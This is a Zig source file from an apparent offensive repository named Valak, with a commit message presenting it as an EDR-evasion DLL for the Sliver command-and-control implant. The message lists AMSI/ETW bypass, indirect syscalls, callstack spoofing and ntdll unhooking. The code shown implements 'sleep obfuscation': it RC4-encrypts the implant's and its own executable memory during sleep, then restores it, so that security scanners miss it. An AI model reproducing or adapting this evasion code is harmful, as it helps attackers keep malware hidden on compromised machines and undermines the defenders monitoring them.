Files
Valak/evasion/sleep.zig
T
SISTA fe2726a430 valak evasion dll for sliver
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass,
freshycalls indirect syscall dispatch, callstack spoofing via asm
trampoline, ntdll unhooking, module stomping, token manipulation.
all techniques verified against dbgman edr tradecraft (may 2026).
ret patch removed (instant detection). comments updated with
detection status on each technique.

go-bridge/ - reflective pe loader + clean go api for sliver
integration. drop this package into sliver's implant/ dir,
replace time.sleep with evasionsleep.

build: zig build -doptimize=releaseFast -> embed dll bytes
2026-07-18 09:30:00 +01:00

105 lines
3.4 KiB
Zig

const api = @import("api.zig");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
var g_text_base: ?[*]u8 = null;
var g_text_size: usize = 0;
var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0;
// Called from Go reflective loader — DLL .text bounds.
pub fn init_text_region(base: [*]u8, size: usize) void {
g_text_base = base;
g_text_size = size;
}
// Called from Go — implant's own .text bounds.
pub fn init_go_text_region(base: [*]u8, size: usize) void {
g_go_text_base = base;
g_go_text_size = size;
}
fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void {
var img: api.USTRING = .{
.Buffer = base,
.Length = @as(u32, @intCast(size)),
.MaximumLength = @as(u32, @intCast(size)),
};
var key_struct: api.USTRING = .{
.Buffer = key,
.Length = 16,
.MaximumLength = 16,
};
var base_ptr: ?*anyopaque = @ptrCast(base);
var region_size: win.SIZE_T = size;
var old: win.DWORD = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), &base_ptr, &region_size,
win.PAGE_READWRITE, &old,
);
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
}
fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void {
var img: api.USTRING = .{
.Buffer = base,
.Length = @as(u32, @intCast(size)),
.MaximumLength = @as(u32, @intCast(size)),
};
var key_struct: api.USTRING = .{
.Buffer = key,
.Length = 16,
.MaximumLength = 16,
};
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
var base_ptr: ?*anyopaque = @ptrCast(base);
var region_size: win.SIZE_T = size;
var old: win.DWORD = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), &base_ptr, &region_size,
win.PAGE_EXECUTE_READ, &old,
);
}
// RC4-encrypted sleep.
// Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions.
// Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s:
// it captures entry RSP, zeroes the return address before reaching us, and restores it
// after we return.
// Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky)
pub fn evasion_sleep(ms: u32) void {
var dll_key: [16]u8 = undefined;
var go_key: [16]u8 = undefined;
for (0..16) |i| {
dll_key[i] = @as(u8, @truncate(syscall.xorshift64()));
go_key[i] = @as(u8, @truncate(syscall.xorshift64()));
}
// Encrypt Go .text first if bounds are set.
if (g_go_text_base != null and g_go_text_size > 0) {
encrypt_region(g_go_text_base.?, g_go_text_size, &go_key);
}
// Encrypt DLL .text.
if (g_text_base != null and g_text_size > 0) {
encrypt_region(g_text_base.?, g_text_size, &dll_key);
}
// Sleep via indirect syscall — no Go runtime active.
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
// Decrypt DLL .text.
if (g_text_base != null and g_text_size > 0) {
decrypt_restore(g_text_base.?, g_text_size, &dll_key);
}
// Decrypt Go .text.
if (g_go_text_base != null and g_go_text_size > 0) {
decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key);
}
@memset(&dll_key, 0);
@memset(&go_key, 0);
}